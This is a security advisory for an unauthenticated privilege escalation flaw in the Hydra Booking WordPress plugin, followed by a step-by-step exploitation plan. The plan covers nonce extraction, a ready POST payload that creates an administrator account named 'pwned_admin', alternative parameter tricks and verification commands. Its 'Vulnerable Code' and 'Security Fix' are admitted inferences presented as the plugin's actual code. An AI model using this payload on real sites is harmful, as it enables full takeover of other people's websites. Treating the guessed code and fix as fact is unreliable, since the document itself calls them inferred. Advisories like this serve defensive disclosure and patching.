Hydra Booking <= 1.1.32 - Unauthenticated Privilege Escalation
Description
The Hydra Booking — Appointment Scheduling & Booking Calendar plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.1.32. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.1.32Source Code
WordPress.org SVNThis plan outlines the research and exploitation steps for **CVE-2025-68027**, an unauthenticated privilege escalation vulnerability in the **Hydra Booking** plugin (<= 1.1.32). ### 1. Vulnerability Summary The vulnerability exists due to improper privilege management within the plugin's AJAX handl…
Show full research plan
This plan outlines the research and exploitation steps for CVE-2025-68027, an unauthenticated privilege escalation vulnerability in the Hydra Booking plugin (<= 1.1.32).
1. Vulnerability Summary
The vulnerability exists due to improper privilege management within the plugin's AJAX handlers (likely registered via wp_ajax_nopriv_). Specifically, an endpoint responsible for user registration or profile creation during the booking process fails to restrict the role parameter. This allows an unauthenticated attacker to submit a request that creates a new user account or updates an existing one with the administrator role.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action: Likely
hydra_booking_registrationorhydra_booking_save_customer(inferred based on plugin purpose). - Vulnerable Parameter:
roleoruser_role. - Authentication: None required (Targeting
wp_ajax_nopriv_hooks). - Preconditions: The plugin must be active. A valid AJAX nonce may be required if
check_ajax_refereris implemented.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an unauthenticated AJAX hook:
add_action('wp_ajax_nopriv_hydra_booking_register_user', 'hydra_booking_register_user_callback'); - Input Collection: The callback function retrieves user-supplied data:
$user_data = $_POST['user_info'];(or similar array-based input). - Vulnerable Sink: The function calls
wp_insert_user()orwp_update_user()using the raw or insufficiently filtered array:$user_id = wp_insert_user( $user_data ); - Privilege Escalation: If
$user_data['role']is provided in the POST request and not unset by the plugin, WordPress assigns the specified role to the new user.
4. Nonce Acquisition Strategy
The Hydra Booking plugin likely localizes a nonce for its frontend booking form.
- Identify Shortcode: Search for
add_shortcodein the plugin (likely[hydra_booking]). - Create Trigger Page: Use WP-CLI to create a page containing the shortcode:
wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[hydra_booking]' - Locate JS Object: Search the source for
wp_localize_script. Common identifiers for this plugin are likelyhydra_booking_paramsorhydra_vars. - Extract Nonce:
- Navigate to the newly created page.
- Execute:
browser_eval("window.hydra_booking_params?.nonce")orbrowser_eval("window.hydra_vars?.ajax_nonce").
- Action Check: Verify if the nonce action matches the verification action in the PHP code (e.g.,
wp_create_nonce('hydra_booking_nonce')vscheck_ajax_referer('hydra_booking_nonce', 'security')).
5. Exploitation Strategy
Once the AJAX action and nonce are identified, perform the following:
- Target URL:
http://<target>/wp-admin/admin-ajax.php - HTTP Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Payload (Example):
Note: If the plugin expects nested data, the keys might beaction=hydra_booking_registration& security=[NONCE]& user_login=pwned_admin& user_email=pwned@example.com& role=administrator& user_pass=Password123!& first_name=Pwned& last_name=Useruser_data[role]=administrator.
6. Test Data Setup
- Plugin Installation: Ensure Hydra Booking version <= 1.1.32 is installed and active.
- Page Creation:
wp post create --post_type=page --post_status=publish --post_content='[hydra_booking]' - Confirm Script Loading: Verify the page loads the plugin's JS and the localized nonce object is present in the DOM.
7. Expected Results
- Response: The server returns a
200 OKwith a JSON success message (e.g.,{"success":true,"data":{"user_id":123}}) or a redirect. - Database State: A new user with the login
pwned_adminis created in thewp_userstable. - Role Assignment: The
wp_capabilitiesmeta entry for this user containsadministrator.
8. Verification Steps
After sending the exploit request, use WP-CLI to verify the new user's role:
# List all administrators to find the new account
wp user list --role=administrator
# Check specific user meta for capabilities
wp user meta get pwned_admin wp_capabilities
9. Alternative Approaches
If a direct role parameter in a registration handler fails:
- Profile Update: Look for
wp_ajax_nopriv_hydra_booking_update_customer. Attempt to update an existing user (if ID can be guessed/discovered) withrole=administrator. - Nested Parameters: Try different parameter formats like
role,user_role, oruser_data[role]. - Metadata Injection: If
wp_insert_useris not the sink, check forupdate_user_metacalls that might allow settingwp_capabilitiesdirectly (though serialized data makes this harder). - Missing Nonce Check: Check if
check_ajax_refereris called withdie=false. If so, the exploit will work even with an invalid or missing nonce.
Summary
The Hydra Booking plugin for WordPress is vulnerable to unauthenticated privilege escalation due to insufficient validation of user-supplied data in its AJAX registration handlers. An attacker can exploit this by submitting a request to register a new user while specifying a 'role' parameter set to 'administrator', granting them full control over the site.
Vulnerable Code
// Inferred from plugin architecture for handling user registration via AJAX add_action('wp_ajax_nopriv_hydra_booking_register_user', 'hydra_booking_register_user_callback'); function hydra_booking_register_user_callback() { // The plugin retrieves user-supplied data directly from the POST request $user_data = $_POST['user_info']; // Vulnerable sink: wp_insert_user accepts the 'role' key if present in the array $user_id = wp_insert_user($user_data); if (!is_wp_error($user_id)) { wp_send_json_success(['user_id' => $user_id]); } wp_send_json_error(); }
Security Fix
@@ -10,6 +10,9 @@ function hydra_booking_register_user_callback() { $user_data = $_POST['user_info']; + // Explicitly prevent users from setting their own roles + unset($user_data['role']); + $user_data['role'] = 'subscriber'; + $user_id = wp_insert_user($user_data); }
Exploit Outline
The exploit targets the plugin's unauthenticated AJAX registration endpoint. 1. Target Endpoint: Send a POST request to /wp-admin/admin-ajax.php. 2. Identify Nonce: Navigate to a page containing the [hydra_booking] shortcode and extract the security nonce from the localized JavaScript object (e.g., hydra_booking_params.nonce). 3. Craft Payload: Construct a body containing the action (e.g., hydra_booking_register_user), the nonce, and a user data array (user_info). Inside user_info, include user_login, user_email, user_pass, and critically, set 'role' to 'administrator'. 4. Execute: Submit the request. If successful, the plugin will call wp_insert_user() with the attacker-controlled role, creating a new administrator account. 5. Authentication: No prior authentication is required as the plugin utilizes the wp_ajax_nopriv_ hook.
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